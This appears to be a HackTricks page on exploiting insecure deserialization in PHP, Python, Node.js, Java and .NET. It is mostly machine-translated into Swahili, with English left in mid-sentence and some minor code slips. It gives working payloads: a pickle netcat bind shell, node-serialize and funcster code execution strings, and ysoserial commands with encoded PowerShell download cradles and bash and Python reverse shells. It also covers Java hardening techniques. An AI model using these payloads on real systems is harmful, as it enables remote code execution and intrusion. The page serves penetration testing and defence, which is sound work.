Deserialization

Support HackTricks

Basic Information

Serialization inamaanika kama njia ya kubadilisha kitu kuwa katika muundo ambao unaweza kuhifadhiwa, kwa nia ya ama kuhifadhi kitu hicho au kukituma kama sehemu ya mchakato wa mawasiliano. Mbinu hii hutumiwa mara nyingi kuhakikisha kwamba kitu kinaweza kuundwa tena baadaye, ikihifadhi muundo na hali yake.

Deserialization, kinyume chake, ni mchakato unaopinga serialization. Inahusisha kuchukua data ambayo imeundwa katika muundo maalum na kuijenga tena kuwa kitu.

Deserialization inaweza kuwa hatari kwa sababu inaweza kuruhusu washambuliaji kubadilisha data iliyosaralishwa ili kutekeleza msimbo mbaya au kusababisha tabia isiyotarajiwa katika programu wakati wa mchakato wa ujenzi wa kitu.

PHP

Katika PHP, mbinu maalum za kichawi hutumiwa wakati wa mchakato wa serialization na deserialization:

  • __sleep: Inaitwa wakati kitu kinaposaralishwa. Mbinu hii inapaswa kurudisha orodha ya majina ya mali zote za kitu ambazo zinapaswa kusaralishwa. Inatumika mara nyingi kuhifadhi data inayosubiri au kufanya kazi za usafi zinazofanana.

  • __wakeup: Inaitwa wakati kitu kinaposaralishwa. Inatumika kurejesha uhusiano wowote wa database ambao unaweza kuwa umepotea wakati wa serialization na kufanya kazi nyingine za kuanzisha tena.

  • __unserialize: Mbinu hii inaitwa badala ya __wakeup (ikiwa inapatikana) wakati kitu kinaposaralishwa. Inatoa udhibiti zaidi juu ya mchakato wa deserialization ikilinganishwa na __wakeup.

  • __destruct: Mbinu hii inaitwa wakati kitu kinakaribia kuharibiwa au wakati script inamalizika. Inatumika kawaida kwa kazi za usafi, kama kufunga mikono ya faili au uhusiano wa database.

  • __toString: Mbinu hii inaruhusu kitu kutendewa kama string. Inaweza kutumika kwa kusoma faili au kazi nyingine kulingana na wito wa kazi ndani yake, ikitoa kwa ufanisi uwakilishi wa maandiko wa kitu.

<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Ikiwa utaangalia matokeo, utaona kwamba kazi __wakeup na __destruct zinaitwa wakati kitu kinapokuwa deserialized. Kumbuka kwamba katika mafunzo kadhaa utaona kwamba kazi __toString inaitwa unapojaribu kuchapisha sifa fulani, lakini kwa wazi hiyo haifanyiki tena.

Njia __unserialize(array $data) inaitwa badala ya __wakeup() ikiwa imeanzishwa katika darasa. Inakuruhusu kuunserialize kitu kwa kutoa data iliyosainiwa kama array. Unaweza kutumia njia hii kuunserialize mali na kufanya kazi zozote muhimu wakati wa deserialization.

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

Unaweza kusoma mfano wa PHP ulioelezewa hapa: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, hapa https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf au hapa https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

Unaweza kutumia kazi ya autoload ya PHP kupakia faili za php zisizo na mpangilio na zaidi:

Serializing Referenced Values

Ikiwa kwa sababu fulani unataka kuunda seriali ya thamani kama kiungo kwa thamani nyingine iliyosaralishwa unaweza:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial for PHP)

PHPGGC inaweza kukusaidia kuunda payloads za kutumia PHP deserializations. Kumbuka kwamba katika kesi kadhaa huwezi kupata njia ya kutumia deserialization katika msimbo wa chanzo wa programu lakini unaweza kuwa na uwezo wa kutumia msimbo wa nyongeza za PHP za nje. Hivyo, ikiwa unaweza, angalia phpinfo() ya seva na tafuta mtandaoni (hata kwenye gadgets za PHPGGC) baadhi ya gadgets zinazoweza kutumiwa.

phar:// metadata deserialization

Ikiwa umepata LFI inayosoma tu faili na sio kutekeleza msimbo wa php ndani yake, kwa mfano kwa kutumia kazi kama file_get_contents(), fopen(), file() au file_exists(), md5_file(), filemtime() au filesize(). Unaweza kujaribu kutumia deserialization inayotokea wakati wa kusoma faili kwa kutumia itifaki ya phar. Kwa maelezo zaidi soma chapisho lifuatalo:

Python

Pickle

Wakati kitu kinapokewa, kazi __reduce__ itatekelezwa. Wakati inatumika, seva inaweza kurudisha kosa.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Kwa maelezo zaidi kuhusu kutoroka kutoka pickle jails angalia:

Yaml & jsonpickle

Ukurasa ufuatao un presenting mbinu ya kudhulumu deserialization isiyo salama katika yamls maktaba za python na kumalizia na chombo ambacho kinaweza kutumika kuunda RCE deserialization payload kwa Pickle, PyYAML, jsonpickle na ruamel.yaml:

Class Pollution (Python Prototype Pollution)

NodeJS

JS Magic Functions

JS haina "magic" functions kama PHP au Python ambazo zitatekelezwa tu kwa ajili ya kuunda kitu. Lakini ina functions ambazo zinatumika mara kwa mara hata bila kuziita moja kwa moja kama toString, valueOf, toJSON. Ikiwa unadhulumu deserialization unaweza kuathiri hizi functions ili kutekeleza code nyingine (kwa kuweza kudhulumu prototype pollutions) unaweza kutekeleza code isiyo na mipaka wanapoitwa.

Njia nyingine "magic" ya kuita function bila kuikalia moja kwa moja ni kwa kuathiri kitu ambacho kinarejeshwa na function ya async (ahadi). Kwa sababu, ikiwa unabadilisha hiyo kitu kinachorejeshwa kuwa ahadi nyingine yenye sifa inayoitwa "then" ya aina function, itatekelezwa tu kwa sababu inarejeshwa na ahadi nyingine. Fuata kiungo hiki kwa maelezo zaidi.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ na uchafuzi wa prototype

Ikiwa unataka kujifunza kuhusu mbinu hii angalia tutorial ifuatayo:

Maktaba hii inaruhusu kusawazisha kazi. Mfano:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

The serialised object will looks like: kitu kilichosawazishwa kitaonekana kama:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

You can see in the example that when a function is serialized the _$$ND_FUNC$$_ flag is appended to the serialized object.

Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.

As you may see in the last chunk of code, if the flag is found eval is used to deserialize the function, so basically user input if being used inside the eval function.

However, just serialising a function won't execute it as it would be necessary that some part of the code is calling y.rce in our example and that's highly unlikable. Anyway, you could just modify the serialised object adding some parenthesis in order to auto execute the serialized function when the object is deserialized. In the next chunk of code notice the last parenthesis and how the unserialize function will automatically execute the code:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

Kama ilivyosemwa awali, maktaba hii itapata msimbo baada ya _$$ND_FUNC$$_ na itafanya kazi kutumia eval. Hivyo, ili kujiendesha kiotomatiki msimbo unaweza kufuta sehemu ya uundaji wa kazi na mzizi wa mwisho na kuendesha tu JS oneliner kama katika mfano ufuatao:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

You can find here maelezo zaidi about how to exploit this vulnerability.

A noteworthy aspect of funcster is the inaccessibility of standard built-in objects; they fall outside the accessible scope. This restriction prevents the execution of code that attempts to invoke methods on built-in objects, leading to exceptions such as "ReferenceError: console is not defined" when commands like console.log() or require(something) are used.

Despite this limitation, restoration of full access to the global context, including all standard built-in objects, is possible through a specific approach. By leveraging the global context directly, one can bypass this restriction. For instance, access can be re-established using the following snippet:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

Kwa maelezo zaidi soma chanzo hiki.

Kifurushi cha serialize-javascript kimeundwa mahsusi kwa ajili ya kusawazisha, hakina uwezo wowote wa kujisawazisha. Watumiaji wanawajibika kutekeleza njia zao za kujisawazisha. Matumizi ya moja kwa moja ya eval yanapendekezwa na mfano rasmi wa kujisawazisha data iliyosawazishwa:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

Ikiwa kazi hii inatumika ku-deserialize vitu unaweza kuyatumia kwa urahisi:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Kwa maelezo zaidi soma chanzo hiki.

Maktaba ya Cryo

Katika kurasa zifuatazo unaweza kupata taarifa kuhusu jinsi ya kutumia vibaya maktaba hii ili kutekeleza amri zisizo na mipaka:

Java - HTTP

Katika Java, kurejelewa kwa deserialization hufanyika wakati wa mchakato wa deserialization. Utendaji huu unaweza kutumiwa na washambuliaji wanaounda payload mbaya zinazochochea kurejelewa hizi, na kusababisha utekelezaji wa vitendo vya hatari.

Alama

Sanduku la Nyeupe

Ili kubaini uwezekano wa udhaifu wa serialization katika msimbo, tafuta:

  • Madarasa yanayotekeleza interface ya Serializable.

  • Matumizi ya java.io.ObjectInputStream, readObject, readUnshare kazi.

Zingatia kwa makini:

  • XMLDecoder inayotumika na vigezo vilivyofafanuliwa na watumiaji wa nje.

  • Njia ya fromXML ya XStream, hasa ikiwa toleo la XStream ni sawa na au chini ya 1.46, kwani linaweza kuwa na matatizo ya serialization.

  • ObjectInputStream iliyoambatanishwa na njia ya readObject.

  • Utekelezaji wa njia kama readObject, readObjectNodData, readResolve, au readExternal.

  • ObjectInputStream.readUnshared.

  • Matumizi ya jumla ya Serializable.

Sanduku la Nyeusi

Kwa upimaji wa sanduku la nyeusi, angalia sahihi maalum au "Magic Bytes" zinazotambulisha vitu vilivyopangwa vya java (vinavyotokana na ObjectInputStream):

  • Mchoro wa hexadecimal: AC ED 00 05.

  • Mchoro wa Base64: rO0.

  • Vichwa vya majibu ya HTTP vyenye Content-type vilivyowekwa kuwa application/x-java-serialized-object.

  • Mchoro wa hexadecimal unaoashiria kufungwa kwa awali: 1F 8B 08 00.

  • Mchoro wa Base64 unaoashiria kufungwa kwa awali: H4sIA.

  • Faili za wavuti zenye kiambishi cha .faces na parameter ya faces.ViewState. Kugundua mifumo hii katika programu ya wavuti inapaswa kusababisha uchunguzi kama ilivyoelezwa katika chapisho kuhusu Java JSF ViewState Deserialization.

javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Angalia kama kuna udhaifu

Ikiwa unataka kujifunza jinsi unavyofanya kazi kwa kutumia Java Deserialized exploit unapaswa kuangalia Msingi wa Java Deserialization, Java DNS Deserialization, na CommonsCollection1 Payload.

Mtihani wa Sanduku la White

Unaweza kuangalia kama kuna programu yoyote iliyosakinishwa yenye udhaifu unaojulikana.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

You could try to check all the libraries known to be vulnerable and that Ysoserial can provide an exploit for. Or you could check the libraries indicated on Java-Deserialization-Cheat-Sheet. You could also use gadgetinspector to search for possible gadget chains that can be exploited. When running gadgetinspector (after building it) don't care about the tons of warnings/errors that it's going through and let it finish. It will write all the findings under gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Please, notice that gadgetinspector won't create an exploit and it may indicate false positives.

Black Box Test

Using the Burp extension gadgetprobe you can identify which libraries are available (and even the versions). With this information it could be easier to choose a payload to exploit the vulnerability. Read this to learn more about GadgetProbe. GadgetProbe is focused on ObjectInputStream deserializations.

Using Burp extension Java Deserialization Scanner you can identify vulnerable libraries exploitable with ysoserial and exploit them. Read this to learn more about Java Deserialization Scanner. Java Deserialization Scanner is focused on ObjectInputStream deserializations.

You can also use Freddy to detect deserializations vulnerabilities in Burp. This plugin will detect not only ObjectInputStream related vulnerabilities but also vulns from Json an Yml deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads. You can find more information about Freddy here.

Serialization Test

Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to change the data inside the serialized object and bypass some checks (maybe grant you admin privileges inside a webapp). If you find a java serialized object being sent to a web application, you can use SerializationDumper to print in a more human readable format the serialization object that is sent. Knowing which data are you sending would be easier to modify it and bypass some checks.

Exploit

ysoserial

The main tool to exploit Java deserializations is ysoserial (download here). You can also consider using ysoseral-modified which will allow you to use complex commands (with pipes for example). Note that this tool is focused on exploiting ObjectInputStream. I would start using the "URLDNS" payload before a RCE payload to test if the injection is possible. Anyway, note that maybe the "URLDNS" payload is not working but other RCE payload is.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

When creating a payload for java.lang.Runtime.exec() you huwezi kutumia herufi maalum kama ">" au "|" kuhamasisha matokeo ya utekelezaji, "$()" kuendesha amri au hata kupitisha hoja kwa amri zilizotenganishwa na nafasi (unaweza kufanya echo -n "hello world" lakini huwezi kufanya python2 -c 'print "Hello world"'). Ili kuandika payload kwa usahihi unaweza kutumia ukurasa huu.

Feel free to use the next script to create all the possible code execution payloads for Windows and Linux and then test them on the vulnerable web page:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

You can use https://github.com/pwntester/SerialKillerBypassGadgetCollection pamoja na ysoserial kuunda exploits zaidi. More information about this tool in the slides of the talk where the tool was presented: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec inaweza kutumika kuunda payloads za kutumia maktaba tofauti za Json na Yml serialization katika Java. In order to compile the project I needed to add this dependencies to pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Sakinisha maven, na jenga mradi:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Soma zaidi kuhusu maktaba hii ya Java JSON: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Labs

Kwa Nini

Java inatumia serialization nyingi kwa madhumuni mbalimbali kama:

  • HTTP requests: Serialization inatumika sana katika usimamizi wa vigezo, ViewState, cookies, nk.

  • RMI (Remote Method Invocation): Protokali ya Java RMI, ambayo inategemea kabisa serialization, ni msingi wa mawasiliano ya mbali katika programu za Java.

  • RMI juu ya HTTP: Njia hii inatumika kawaida na programu za wavuti za Java zenye thick client, zikitumika serialization kwa mawasiliano yote ya vitu.

  • JMX (Java Management Extensions): JMX inatumia serialization kwa kutuma vitu kupitia mtandao.

  • Protokali za Kijadi: Katika Java, mazoea ya kawaida yanahusisha usafirishaji wa vitu vya Java safi, ambavyo vitadhihirishwa katika mifano ijayo ya exploit.

Kuzuia

Vitu vya muda

Darasa linalotekeleza Serializable linaweza kutekeleza kama transient kitu chochote ndani ya darasa ambacho hakipaswi kuwa serializable. Kwa mfano:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Epuka Serialization ya darasa ambalo linahitaji kutekeleza Serializable

Katika hali ambapo vitu fulani lazima vitekeleze interface ya Serializable kutokana na mfuatano wa darasa, kuna hatari ya deserialization isiyo ya makusudi. Ili kuzuia hili, hakikisha vitu hivi havina uwezo wa deserializable kwa kufafanua final readObject() njia ambayo kila wakati inatupa exception, kama inavyoonyeshwa hapa chini:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Kuimarisha Usalama wa Deserialization katika Java

Kubadilisha java.io.ObjectInputStream ni njia ya vitendo ya kulinda michakato ya deserialization. Njia hii inafaa wakati:

  • Msimbo wa deserialization uko chini ya udhibiti wako.

  • Madarasa yanayotarajiwa kwa deserialization yanajulikana.

Pitia resolveClass() ili kupunguza deserialization kwa madarasa yaliyoruhusiwa tu. Hii inazuia deserialization ya darasa lolote isipokuwa yale yaliyoruhusiwa wazi, kama katika mfano ufuatao unaozuia deserialization kwa darasa la Bicycle pekee:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Kutumia Java Agent kwa Kuongeza Usalama inatoa suluhisho la akiba wakati mabadiliko ya msimbo hayawezekani. Njia hii inatumika hasa kwa kuorodhesha madarasa hatari, kwa kutumia parameter ya JVM:

-javaagent:name-of-agent.jar

Inatoa njia ya kulinda deserialization kwa njia ya kidinamik, inayofaa kwa mazingira ambapo mabadiliko ya haraka ya msimbo hayawezekani.

Angalia mfano katika rO0 by Contrast Security

Kutekeleza Filters za Serialization: Java 9 ilianzisha filters za serialization kupitia ObjectInputFilter interface, ikitoa mekanizma yenye nguvu ya kufafanua vigezo ambavyo vitu vilivyohifadhiwa vinapaswa kukutana navyo kabla ya deserialization. Filters hizi zinaweza kutumika kwa kiwango cha ulimwengu au kwa kila mtiririko, ikitoa udhibiti wa kina juu ya mchakato wa deserialization.

Ili kutumia filters za serialization, unaweza kuweka filter ya kimataifa inayotumika kwa shughuli zote za deserialization au kuikamilisha kwa njia ya kidinamik kwa mtiririko maalum. Kwa mfano:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Kutatua Maktaba za Nje kwa Usalama Ulioimarishwa: Maktaba kama NotSoSerial, jdeserialize, na Kryo hutoa vipengele vya juu vya kudhibiti na kufuatilia deserialization ya Java. Maktaba hizi zinaweza kutoa tabaka za ziada za usalama, kama vile kuorodhesha au kuzuia madarasa, kuchambua vitu vilivyohifadhiwa kabla ya deserialization, na kutekeleza mikakati ya kawaida ya serialization.

  • NotSoSerial inakabili mchakato wa deserialization ili kuzuia utekelezaji wa msimbo usioaminika.

  • jdeserialize inaruhusu uchambuzi wa vitu vilivyohifadhiwa vya Java bila kuviweka tena, kusaidia kubaini maudhui yanayoweza kuwa na madhara.

  • Kryo ni mfumo mbadala wa serialization unaosisitiza kasi na ufanisi, ukitoa mikakati ya serialization inayoweza kubadilishwa ambayo inaweza kuimarisha usalama.

Marejeleo

JNDI Injection & log4Shell

Pata kile ni JNDI Injection, jinsi ya kuitumia kupitia RMI, CORBA & LDAP na jinsi ya kutumia log4shell (na mfano wa vunlerability hii) katika ukurasa ufuatao:

JMS - Java Message Service

API ya Java Message Service (JMS) ni API ya Java inayolenga ujumbe kwa kutuma ujumbe kati ya wateja wawili au zaidi. Ni utekelezaji wa kushughulikia tatizo la mtengenezaji-mtumiaji. JMS ni sehemu ya Java Platform, Enterprise Edition (Java EE), na ilifafanuliwa na kiwango kilichotengenezwa katika Sun Microsystems, lakini ambayo tangu wakati huo imeongozwa na Mchakato wa Jamii ya Java. Ni kiwango cha ujumbe kinachoruhusu vipengele vya programu vinavyotegemea Java EE kuunda, kutuma, kupokea, na kusoma ujumbe. Inaruhusu mawasiliano kati ya vipengele tofauti vya programu iliyosambazwa kuwa na uhusiano wa kulegea, wa kuaminika, na wa asynchronic. (Kutoka Wikipedia).

Bidhaa

Kuna bidhaa kadhaa zinazotumia middleware hii kutuma ujumbe:

Utekelezaji

Hivyo, kimsingi kuna huduma nyingi zinazotumia JMS kwa njia hatari. Kwa hivyo, ikiwa una mamlaka ya kutosha kutuma ujumbe kwa huduma hizi (kawaida utahitaji akidi halali) unaweza kuwa na uwezo wa kutuma vitu vya hatari vilivyohifadhiwa ambavyo vitakuwa vikiwekwa tena na mtumiaji/mwandikaji. Hii inamaanisha kwamba katika utekelezaji huu wateja wote watakaotumia ujumbe huo wataambukizwa.

Unapaswa kukumbuka kwamba hata kama huduma ina udhaifu (kwa sababu inafanya deserialization ya pembejeo za mtumiaji kwa njia isiyo salama) bado unahitaji kutafuta vifaa halali ili kutumia udhaifu huo.

Zana JMET ilitengenezwa ili kuunganisha na kushambulia huduma hizi kwa kutuma vitu kadhaa vya hatari vilivyohifadhiwa kwa kutumia vifaa vilivyofahamika. Hizi exploit zitafanya kazi ikiwa huduma bado ina udhaifu na ikiwa mojawapo ya vifaa vilivyotumika iko ndani ya programu iliyo hatarini.

Marejeleo

.Net

Katika muktadha wa .Net, exploit za deserialization zinafanya kazi kwa njia inayofanana na zile zinazopatikana katika Java, ambapo vifaa vinatumika kuendesha msimbo maalum wakati wa deserialization ya kitu.

Alama

WhiteBox

Msimbo wa chanzo unapaswa kuchunguzwa kwa matukio ya:

  1. TypeNameHandling

  2. JavaScriptTypeResolver

Kipaumbele kinapaswa kuwa kwa serializers zinazoruhusu aina kuamuliwa na variable chini ya udhibiti wa mtumiaji.

BlackBox

Utafutaji unapaswa kulenga mfuatano wa string iliyokodishwa kwa Base64 AAEAAAD///// au muundo wowote wa kufanana ambao unaweza kupitia deserialization upande wa seva, ukitoa udhibiti juu ya aina itakayowekwa tena. Hii inaweza kujumuisha, lakini si tu, muundo wa JSON au XML unaoonyesha TypeObject au $type.

ysoserial.net

Katika kesi hii unaweza kutumia zana ysoserial.net ili kuunda exploit za deserialization. Mara tu unaposhusha hifadhi ya git unapaswa kuunda zana kwa kutumia Visual Studio kwa mfano.

Ikiwa unataka kujifunza kuhusu jinsi ysoserial.net inavyounda exploit zake unaweza kuangalia ukurasa huu ambapo inafafanuliwa gadget ya ObjectDataProvider + ExpandedWrapper + Json.Net formatter.

Chaguzi kuu za ysoserial.net ni: --gadget, --formatter, --output na --plugin.

  • --gadget inatumika kuashiria gadget ya kutumia (onyesha darasa/funzo ambalo litakabiliwa wakati wa deserialization ili kutekeleza amri).

  • --formatter, inatumika kuashiria njia ya kuhifadhi exploit (unahitaji kujua ni maktaba gani inayotumiwa na backend ili kuunda payload na utumie ile ile kuisawazisha)

